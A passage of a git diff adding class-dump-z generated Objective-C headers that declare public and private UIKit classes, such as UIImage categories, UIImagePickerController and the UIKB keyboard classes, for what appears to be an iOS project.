+-(id)initWithContentsOfFile:(id)file; +-(id)initWithData:(id)data; +-(id)initWithCGImage:(CGImageRef)cgimage; +-(void)dealloc; +-(void)drawAtPoint:(CGPoint)point; +-(void)drawAtPoint:(CGPoint)point blendMode:(int)mode alpha:(float)alpha; +-(void)drawInRect:(CGRect)rect; +-(void)drawInRect:(CGRect)rect blendMode:(int)mode alpha:(float)alpha; +-(void)drawAsPatternInRect:(CGRect)rect; +-(id)stretchableImageWithLeftCapWidth:(int)leftCapWidth topCapHeight:(int)height; +-(id)_automationID; +@end + +@interface UIImage (ApplicationIconPrivate) +-(id)_applicationIconWithSize:(CGSize)size destinationFrame:(CGRect)frame shadowImage:(id)image overlayImage:(id)image4 outlineImage:(id)image5 maskImage:(id)image6; +-(id)_applicationIconImagePrecomposed:(BOOL)precomposed; +-(id)_smallApplicationIconImagePrecomposed:(BOOL)precomposed; +@end + +@interface UIImage (UIImageInternal) ++(void)_flushSharedImageCache; ++(void)_flushCacheOnMemoryWarning:(id)warning; +-(void)_setCached:(BOOL)cached; +-(BOOL)_isCached; +-(void)_setNamed:(BOOL)named; +-(BOOL)_isNamed; +-(id)_flatImageWithWhite:(float)white alpha:(float)alpha; +-(id)_bezeledImageWithRed:(float)red green:(float)green blue:(float)blue alpha:(float)alpha; +-(id)_imageScaledToSize:(CGSize)size interpolationQuality:(int)quality; +-(id)_imageScaledToProportion:(float)proportion interpolationQuality:(int)quality; +@end + +@interface UIImage (UIImageDeprecated) ++(id)imageNamed:(id)named inBundle:(id)bundle; ++(id)imageAtPath:(id)path; ++(void)removeImageNameFromCache:(id)cache; +-(id)initWithData:(id)data cache:(BOOL)cache; +-(id)initWithImageRef:(CGImageRef)imageRef; +-(CGImageRef)imageRef; +-(void)compositeToRect:(CGRect)rect fromRect:(CGRect)rect2 operation:(int)operation fraction:(float)fraction; +-(void)compositeToPoint:(CGPoint)point fromRect:(CGRect)rect operation:(int)operation fraction:(float)fraction; +-(void)compositeToPoint:(CGPoint)point operation:(int)operation fraction:(float)fraction; +-(void)compositeToPoint:(CGPoint)point operation:(int)operation; +-(void)draw9PartImageWithSliceRects:(XXStruct_4cr1oD)sliceRects inRect:(CGRect)rect; +-(void)draw9PartImageWithSliceRects:(XXStruct_4cr1oD)sliceRects inRect:(CGRect)rect fraction:(float)fraction; +-(void)draw9PartImageWithSliceRects:(XXStruct_4cr1oD)sliceRects inRect:(CGRect)rect operation:(int)operation fraction:(float)fraction; +-(void)draw3PartImageWithSliceRects:(XXStruct_UUz0SD)sliceRects inRect:(CGRect)rect; +-(void)draw3PartImageWithSliceRects:(XXStruct_UUz0SD)sliceRects inRect:(CGRect)rect fraction:(float)fraction; +-(void)draw3PartImageWithSliceRects:(XXStruct_UUz0SD)sliceRects inRect:(CGRect)rect operation:(int)operation fraction:(float)fraction; +-(void)draw1PartImageInRect:(CGRect)rect; +-(void)draw1PartImageInRect:(CGRect)rect fraction:(float)fraction; +-(void)draw1PartImageInRect:(CGRect)rect fraction:(float)fraction operation:(int)operation; +-(CGColorRef)_patternColor; +-(id)patternColor; +@end + +@interface UIImage (UIImagePrivate) ++(id)applicationImageNamed:(id)named; ++(id)kitImageNamed:(id)named; ++(id)defaultDesktopImage; ++(void)setDesktopImageData:(id)data; ++(id)imageFromAlbumArtData:(id)albumArtData height:(int)height width:(int)width cache:(BOOL)cache; +-(id)initWithContentsOfFile:(id)file cache:(BOOL)cache; +-(id)initWithCGImage:(CGImageRef)cgimage imageOrientation:(int)orientation; +-(id)initWithIOSurface:(IOSurfaceRef)iosurface; +-(IOSurfaceRef)ioSurface; +@end + diff --git a/igor/headers/dumpedUIKit/UIImageAndTextTableCell.h b/igor/headers/dumpedUIKit/UIImageAndTextTableCell.h new file mode 100644 index 0000000..befe8c1 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIImageAndTextTableCell.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UITableCell.h" +#import "UIKit-Structs.h" + +@class UITextLabel, UIImageView; + +@interface UIImageAndTextTableCell : UITableCell { + UITextLabel* _titleTextLabel; + UIImageView* _iconImageView; +} ++(id)defaultTitleFont; +-(void)dealloc; +-(id)titleTextLabel; +-(void)setTitle:(id)title; +-(id)title; +-(void)setImage:(id)image; +-(id)image; +-(id)_getTitleColor; +-(void)updateHighlightColors; +-(void)setUserInteractionEnabled:(BOOL)enabled; +-(id)iconImageView; +-(CGPoint)textInset; +-(CGPoint)iconInset; +-(void)setAlignment:(int)alignment; +-(int)alignment; +-(void)layoutSubviews; +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UIImageBuffer.h b/igor/headers/dumpedUIKit/UIImageBuffer.h new file mode 100644 index 0000000..ef3b3a5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIImageBuffer.h @@ -0,0 +1,31 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + + +__attribute__((visibility("hidden"))) +@interface UIImageBuffer : NSObject { +@private + unsigned m_width; + unsigned m_height; + unsigned m_pixelCount; + unsigned m_componentCount; + UIEdgeInsets* m_pixels; +} +@property(readonly, assign, nonatomic) unsigned width; +@property(readonly, assign, nonatomic) unsigned height; +-(id)initWithWidth:(unsigned)width height:(unsigned)height; +-(void)dealloc; +-(UIEdgeInsets*)pixels; +-(void)getPixel:(UIEdgeInsets*)pixel atPoint:(CGPoint)point; +-(void)setPixel:(UIEdgeInsets*)pixel atPoint:(CGPoint)point; +-(void)fillWithPixel:(UIEdgeInsets*)pixel; +-(CGImageRef)createImage; +@end + diff --git a/igor/headers/dumpedUIKit/UIImageNibPlaceholder.h b/igor/headers/dumpedUIKit/UIImageNibPlaceholder.h new file mode 100644 index 0000000..07fde39 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIImageNibPlaceholder.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIImage.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIImageNibPlaceholder : UIImage { +@private + NSString* runtimeResourceName; +} +-(id)initWithContentsOfFile:(id)file andRuntimeResourceName:(id)name; +-(id)initWithData:(id)data andRuntimeResourceName:(id)name; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +@end + diff --git a/igor/headers/dumpedUIKit/UIImagePickerController.h b/igor/headers/dumpedUIKit/UIImagePickerController.h new file mode 100644 index 0000000..fda47cd --- /dev/null +++ b/igor/headers/dumpedUIKit/UIImagePickerController.h @@ -0,0 +1,75 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSCoding.h" +#import "UIKit-Structs.h" +#import "UINavigationController.h" + +@class UIView, NSMutableDictionary, NSArray; +@protocol UINavigationControllerDelegate, UIImagePickerControllerDelegate; + +@interface UIImagePickerController : UINavigationController { +@private + unsigned _sourceType; + id _image; + CGRect _cropRect; + NSArray* _mediaTypes; + NSMutableDictionary* _properties; + int _previousStatusBarMode; + struct { + unsigned visible : 1; + unsigned isCleaningUp : 1; + unsigned savingOptions : 3; + unsigned didRevertStatusBar : 1; + } _imagePickerFlags; +} +@property(assign, nonatomic) id delegate; +@property(assign, nonatomic) CGAffineTransform cameraViewTransform; +@property(retain, nonatomic) UIView* cameraOverlayView; +@property(assign, nonatomic) BOOL showsCameraControls; +@property(assign, nonatomic) unsigned videoQuality; +@property(assign, nonatomic) double videoMaximumDuration; +@property(assign, nonatomic) BOOL allowsImageEditing; +@property(assign, nonatomic) BOOL allowsEditing; +@property(copy, nonatomic) NSArray* mediaTypes; +@property(assign, nonatomic) unsigned sourceType; ++(BOOL)isSourceTypeAvailable:(unsigned)available; ++(BOOL)_isMediaTypeAvailable:(id)available forSource:(unsigned)source; ++(id)availableMediaTypesForSourceType:(unsigned)sourceType; +-(id)init; +-(id)initWithCoder:(id)coder; +-(id)_initWithSourceImage:(id)sourceImage cropRect:(CGRect)rect; +-(void)dealloc; +-(void)_populateArchivedChildViewControllers:(id)controllers; +-(void)encodeWithCoder:(id)coder; +-(void)_setAllowsImageEditing:(BOOL)editing; +-(BOOL)_allowsImageEditing; +-(void)_setProperties:(id)properties; +-(void)_initializeProperties; +-(id)_properties; +-(void)_setValue:(id)value forProperty:(id)property; +-(id)_valueForProperty:(id)property; +-(void)_setImagePickerSavingOptions:(unsigned)options; +-(unsigned)_imagePickerSavingOptions; +-(BOOL)_sourceTypeIsCamera; +-(id)_cameraViewController; +-(void)takePicture; +-(void)setParentViewController:(id)controller; +-(void)viewWillAppear:(BOOL)view; +-(void)viewWillDisappear:(BOOL)view; +-(void)viewDidDisappear:(BOOL)view; +-(BOOL)_didRevertStatusBar; +-(BOOL)_isSupportedInterfaceOrientation:(int)orientation; +-(void)_removeAllChildren; +-(id)_createInitialController; +-(void)_setupControllersForCurrentSourceType; +-(void)_setupControllersForCurrentMediaTypes; +-(void)_autoDismiss; +-(void)_imagePickerDidCancel; +-(void)_imagePickerDidCompleteWithInfo:(id)_imagePicker; +@end + diff --git a/igor/headers/dumpedUIKit/UIImageView.h b/igor/headers/dumpedUIKit/UIImageView.h new file mode 100644 index 0000000..466e014 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIImageView.h @@ -0,0 +1,58 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" +#import "UIImageView.h" + +@class UIImage, NSArray; + +@interface UIImageView : UIView { +@private + id _storage; +} +@property(assign, nonatomic, getter=isUserInteractionEnabled) BOOL userInteractionEnabled; +@property(assign, nonatomic) int animationRepeatCount; +@property(assign, nonatomic) double animationDuration; +@property(copy, nonatomic) NSArray* highlightedAnimationImages; +@property(copy, nonatomic) NSArray* animationImages; +@property(assign, nonatomic, getter=isHighlighted) BOOL highlighted; +@property(retain, nonatomic) UIImage* highlightedImage; +@property(retain, nonatomic) UIImage* image; +-(id)initWithFrame:(CGRect)frame; +-(id)initWithImage:(id)image; +-(id)initWithImage:(id)image highlightedImage:(id)image2; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)setBounds:(CGRect)bounds; +-(void)setFrame:(CGRect)frame; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)drawRect:(CGRect)rect; +-(void)startAnimating; +-(void)stopAnimating; +-(BOOL)isAnimating; +@end + +@interface UIImageView (UIImageViewPrivate) +@property(assign, nonatomic) int drawMode; +-(void)setCGImageRef:(CGImageRef)ref; +-(CGImageRef)imageRef; +-(void)setAnimating:(BOOL)animating; +@end + +@interface UIImageView (UIImageViewInternal) +-(BOOL)_canDrawContent; +-(void)_updateState; +@end + +@interface UIImageView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(unsigned long long)defaultAccessibilityTraits; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIInformalDelegate.h b/igor/headers/dumpedUIKit/UIInformalDelegate.h new file mode 100644 index 0000000..235b5ec --- /dev/null +++ b/igor/headers/dumpedUIKit/UIInformalDelegate.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + + +@interface UIInformalDelegate : NSObject { + id _target; + id _default; +} ++(id)informalDelegateWithDefaultTarget:(id)defaultTarget; +-(id)initWithDefaultTarget:(id)defaultTarget; +-(void)dealloc; +-(void)setTarget:(id)target; +-(id)target; +-(void)forwardInvocation:(id)invocation; +-(id)methodSignatureForSelector:(SEL)selector; +-(BOOL)respondsToSelector:(SEL)selector; +@end + diff --git a/igor/headers/dumpedUIKit/UIInlineCandidateTextView.h b/igor/headers/dumpedUIKit/UIInlineCandidateTextView.h new file mode 100644 index 0000000..3236b77 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIInlineCandidateTextView.h @@ -0,0 +1,59 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class InlineCandidateCell, NSArray, NSMutableArray; + +__attribute__((visibility("hidden"))) +@interface UIInlineCandidateTextView : UIView { +@private + int m_type; + int m_edgeType; + BOOL m_animating; + NSMutableArray* _candidateCellArray; + NSArray* _candidates; + id _target; + SEL _action; + unsigned _selectedItem; + InlineCandidateCell* _currentlyPushedItem; + BOOL _showingArrow; + BOOL _arrowHighlighted; +} +-(id)initWithFrame:(CGRect)frame candidates:(id)candidates type:(int)type maxScreenWidth:(float)width; +-(void)dealloc; +-(int)edgeType; +-(int)textEffectsVisibilityLevel; +-(void)setEdgeType:(int)type; +-(void)setAnimating:(BOOL)animating; +-(void)_cellSelected:(id)selected; +-(void)setTarget:(id)target action:(SEL)action; +-(float)_layoutCandidates:(id)candidates maxCount:(int)count height:(float)height maxScreenWidth:(float)width; +-(unsigned)numberOfShownItems; +-(BOOL)_arrowHighlighted; +-(void)showHighlightedArrow; +-(void)setSelectedItem:(unsigned)item; +-(unsigned)selectedItem; +-(void)drawRect:(CGRect)rect; +-(id)findCell:(CGPoint)cell; +-(void)redrawArrow; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)_mouseUp:(GSEventRef)up wasCancelled:(BOOL)cancelled; +-(void)mouseUp:(GSEventRef)up; +-(CGRect)_calculateRectForExpandedHitRegion; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(BOOL)needsWebDocumentViewEventsDirectly; +@end + diff --git a/igor/headers/dumpedUIKit/UIInsertControl.h b/igor/headers/dumpedUIKit/UIInsertControl.h new file mode 100644 index 0000000..50d5eb0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIInsertControl.h @@ -0,0 +1,17 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIRemoveControl.h" + + +__attribute__((visibility("hidden"))) +@interface UIInsertControl : UIRemoveControl { +} +-(id)initWithFrame:(CGRect)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIInternalEvent.h b/igor/headers/dumpedUIKit/UIInternalEvent.h new file mode 100644 index 0000000..5d64102 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIInternalEvent.h @@ -0,0 +1,20 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIEvent.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIInternalEvent : UIEvent { +@private + GSEventRef _gsEvent; +} +-(void)_setGSEvent:(GSEventRef)event; +-(GSEventRef)_gsEvent; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBAttribute.h b/igor/headers/dumpedUIKit/UIKBAttribute.h new file mode 100644 index 0000000..20a97b3 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBAttribute.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "NSCoding.h" + +@class NSString; + +@interface UIKBAttribute : NSObject { + NSString* m_name; + id m_value; +} +@property(copy, nonatomic) NSString* name; +@property(copy, nonatomic) id value; ++(id)attributeWithName:(id)name value:(id)value; +-(id)initWithName:(id)name value:(id)value; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBAttributeList.h b/igor/headers/dumpedUIKit/UIKBAttributeList.h new file mode 100644 index 0000000..8c7ed1c --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBAttributeList.h @@ -0,0 +1,40 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSCopying.h" +#import +#import "NSCoding.h" +#import "UIKit-Structs.h" + +@class NSArray, NSMutableArray, NSString; + +@interface UIKBAttributeList : NSObject { + NSString* m_name; + NSMutableArray* m_list; + BOOL m_explicit; +} +@property(copy, nonatomic) NSString* name; +@property(readonly, assign, nonatomic) NSArray* list; +@property(assign, nonatomic) BOOL explicit; +@property(readonly, assign, nonatomic) unsigned count; +@property(readonly, assign, nonatomic) NSArray* names; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)copyWithZone:(NSZone*)zone; +-(id)description; +-(void)setAttribute:(id)attribute; +-(void)setValue:(id)value forName:(id)name; +-(void)setBoolValueForName:(BOOL)name forName:(id)name2; +-(void)mergeAttributes:(id)attributes; +-(id)valueForName:(id)name; +-(id)stringValueForName:(id)name; +-(BOOL)boolValueForName:(id)name; +-(id)arrayValueForName:(id)name; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBGeometry.h b/igor/headers/dumpedUIKit/UIKBGeometry.h new file mode 100644 index 0000000..b0907d2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBGeometry.h @@ -0,0 +1,51 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCopying.h" +#import +#import "NSCoding.h" + +@class NSString; + +@interface UIKBGeometry : NSObject { + NSString* m_name; + XXStruct_tp$7nC m_x; + XXStruct_tp$7nC m_y; + XXStruct_tp$7nC m_w; + XXStruct_tp$7nC m_h; + XXStruct_tp$7nC m_paddingTop; + XXStruct_tp$7nC m_paddingLeft; + XXStruct_tp$7nC m_paddingBottom; + XXStruct_tp$7nC m_paddingRight; + BOOL m_explicit; +} +@property(retain, nonatomic) NSString* name; +@property(assign, nonatomic, setter=setX:) XXStruct_tp$7nC x; +@property(assign, nonatomic, setter=setY:) XXStruct_tp$7nC y; +@property(assign, nonatomic, setter=setW:) XXStruct_tp$7nC w; +@property(assign, nonatomic, setter=setH:) XXStruct_tp$7nC h; +@property(assign, nonatomic, setter=setPaddingTop:) XXStruct_tp$7nC paddingTop; +@property(assign, nonatomic, setter=setPaddingLeft:) XXStruct_tp$7nC paddingLeft; +@property(assign, nonatomic, setter=setPaddingBottom:) XXStruct_tp$7nC paddingBottom; +@property(assign, nonatomic, setter=setPaddingRight:) XXStruct_tp$7nC paddingRight; +@property(assign, nonatomic) BOOL explicit; ++(id)geometry; ++(id)geometryWithRect:(CGRect)rect; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)copyWithZone:(NSZone*)zone; +-(id)description; +-(CGRect)frame; +-(CGRect)frameWithContainingFrame:(CGRect)containingFrame; +-(CGRect)paddedFrameWithContainingFrame:(CGRect)containingFrame; +-(CGRect)paddedFrameWithResolvedFrame:(CGRect)resolvedFrame; +-(id)overrideGeometry:(id)geometry; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKey.h b/igor/headers/dumpedUIKit/UIKBKey.h new file mode 100644 index 0000000..5332768 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKey.h @@ -0,0 +1,56 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSCopying.h" +#import "NSCoding.h" +#import "UIKBShape.h" +#import "UIKit-Structs.h" + +@class NSArray, NSString, UIKBAttributeList; + +@interface UIKBKey : UIKBShape { + NSString* m_name; + NSString* m_representedString; + NSString* m_displayString; + NSString* m_displayType; + NSString* m_interactionType; + NSString* m_variantType; + UIKBAttributeList* m_attributes; + unsigned m_displayTypeHint; + NSString* m_displayRowHint; + NSArray* m_variantKeys; + NSString* m_overrideDisplayString; + BOOL m_visible; +} +@property(copy, nonatomic) NSString* name; +@property(copy, nonatomic) NSString* representedString; +@property(copy, nonatomic) NSString* displayString; +@property(copy, nonatomic) NSString* displayType; +@property(copy, nonatomic) NSString* interactionType; +@property(copy, nonatomic) NSString* variantType; +@property(copy, nonatomic) UIKBAttributeList* attributes; +@property(assign, nonatomic) BOOL visible; +@property(assign, nonatomic) unsigned displayTypeHint; +@property(retain, nonatomic) NSString* displayRowHint; +@property(copy, nonatomic) NSArray* variantKeys; +@property(copy, nonatomic) NSString* overrideDisplayString; +@property(assign, nonatomic) BOOL disabled; +@property(assign, nonatomic) BOOL hidden; ++(id)key; ++(id)keyWithKey:(id)key; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)copyWithZone:(NSZone*)zone; +-(id)description; +-(void)mergeAttributes:(id)attributes; +-(id)variantDisplayString; +-(void)setVariantPopupBias:(id)bias; +-(id)variantPopupBias; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeyCacheEntry.h b/igor/headers/dumpedUIKit/UIKBKeyCacheEntry.h new file mode 100644 index 0000000..4126043 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeyCacheEntry.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIKBKey, UIKBKeyplane; + +__attribute__((visibility("hidden"))) +@interface UIKBKeyCacheEntry : NSObject { +@private + UIKBKey* m_key; + UIKBKeyplane* m_keyplane; +} +@property(readonly, retain, nonatomic) UIKBKey* key; +@property(readonly, retain, nonatomic) UIKBKeyplane* keyplane; +-(id)initWithKey:(id)key keyPlane:(id)plane; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeyInterval.h b/igor/headers/dumpedUIKit/UIKBKeyInterval.h new file mode 100644 index 0000000..f59792d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeyInterval.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class UIKBKey; + +__attribute__((visibility("hidden"))) +@interface UIKBKeyInterval : NSObject { +@private + UIKBKey* m_key; + double m_interval; +} +@property(retain, nonatomic) UIKBKey* key; +@property(assign, nonatomic) double interval; +-(id)initWithKey:(id)key interval:(double)interval; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeyView.h b/igor/headers/dumpedUIKit/UIKBKeyView.h new file mode 100644 index 0000000..a31af6d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeyView.h @@ -0,0 +1,29 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIKBKey, UIKBKeyboard; + +__attribute__((visibility("hidden"))) +@interface UIKBKeyView : UIView { +@private + UIKBKeyboard* m_keyboard; + UIKBKey* m_key; + int m_state; + CGPoint m_drawOrigin; +} +@property(readonly, assign, nonatomic) UIKBKeyboard* keyboard; +@property(readonly, assign, nonatomic) UIKBKey* key; +@property(readonly, assign, nonatomic) int state; +@property(assign, nonatomic) CGPoint drawOrigin; +-(id)initWithFrame:(CGRect)frame keyboard:(id)keyboard key:(id)key state:(int)state; +-(void)dealloc; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeyboard.h b/igor/headers/dumpedUIKit/UIKBKeyboard.h new file mode 100644 index 0000000..49ac3bd --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeyboard.h @@ -0,0 +1,34 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKBShape.h" +#import "NSCoding.h" +#import "UIKit-Structs.h" + +@class NSDictionary, NSMutableDictionary, NSArray, NSString, NSMutableArray; + +@interface UIKBKeyboard : UIKBShape { + NSString* m_name; + NSString* m_visualStyle; + NSMutableArray* m_keyplanes; + NSMutableDictionary* m_keyCache; +} +@property(retain, nonatomic) NSString* name; +@property(retain, nonatomic) NSString* visualStyle; +@property(retain, nonatomic) NSArray* keyplanes; +@property(retain, nonatomic) NSDictionary* keyCache; ++(id)keyboard; +-(id)init; +-(void)dealloc; +-(void)cacheKey:(id)key onKeyplane:(id)keyplane; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)keyplaneWithName:(id)name; +-(id)description; +-(void)layout; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeylayout.h b/igor/headers/dumpedUIKit/UIKBKeylayout.h new file mode 100644 index 0000000..0cc0b91 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeylayout.h @@ -0,0 +1,33 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "NSCoding.h" +#import "UIKBShape.h" + +@class NSArray, NSMutableArray, NSString, UIKBKeyset; + +@interface UIKBKeylayout : UIKBShape { + NSString* m_name; + UIKBKeyset* m_keyset; + NSMutableArray* m_refs; +} +@property(retain, nonatomic) NSString* name; +@property(retain, nonatomic) UIKBKeyset* keyset; +@property(readonly, assign, nonatomic) NSArray* references; ++(id)keylayout; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)description; +-(void)setReferenceWithName:(id)name value:(id)value flags:(unsigned)flags; +-(id)referenceWithName:(id)name; +-(void)setRef:(id)ref; +-(void)layoutInRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeylist.h b/igor/headers/dumpedUIKit/UIKBKeylist.h new file mode 100644 index 0000000..81c4b5b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeylist.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "NSCoding.h" + +@class NSMutableArray, NSString; + +@interface UIKBKeylist : NSObject { + NSString* m_name; + NSMutableArray* m_keys; +} +@property(retain, nonatomic) NSString* name; +@property(retain, nonatomic) NSMutableArray* keys; +@property(readonly, assign, nonatomic) unsigned count; ++(id)keylist; +-(id)init; +-(void)dealloc; +-(id)initWithCoder:(id)coder; +-(void)encodeWithCoder:(id)coder; +-(id)keyWithName:(id)name; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UIKBKeylistReference.h b/igor/headers/dumpedUIKit/UIKBKeylistReference.h new file mode 100644 index 0000000..c8d2101 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKBKeylistReference.h @@ -0,0 +1,48 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "NSCoding.h" + +@class NSString, NSArray; + +@interface UIKBKeylistReference : NSObject { + NSString* m_name; + id m_value; + NSArray* m_nameElements; + int m_startKeyIndex; + int m_endKeyIndex; + unsigned m_flags; +} +@property(retain, nonatomic) NSString* name; +@property(retain, nonatomic) id value; +@property(readonly, assign, nonatomic) unsigned flags; +@property(readonly, assign, nonatomic) NSArray* nameElements; +@property(readonly, assign, nonatomic) int startKeyIndex; +@property(readonly, assign, nonatomic) int endKeyIndex; +@property(readonly, assign, nonatomic) BOOL isAttributesReference; +@property(readonly, assign, nonatomic) BOOL isGeometryReference; +@property(readonly, assign, nonatomic) BOOL isKeyIndexRangeReference; +@property(readonly, assign, nonatomic) BOOL isKeyIndexReference; +@property(readonly, assign, nonatomic) BOOL isNamedKeyReference; +@property(readonly, assign, nonatomic) 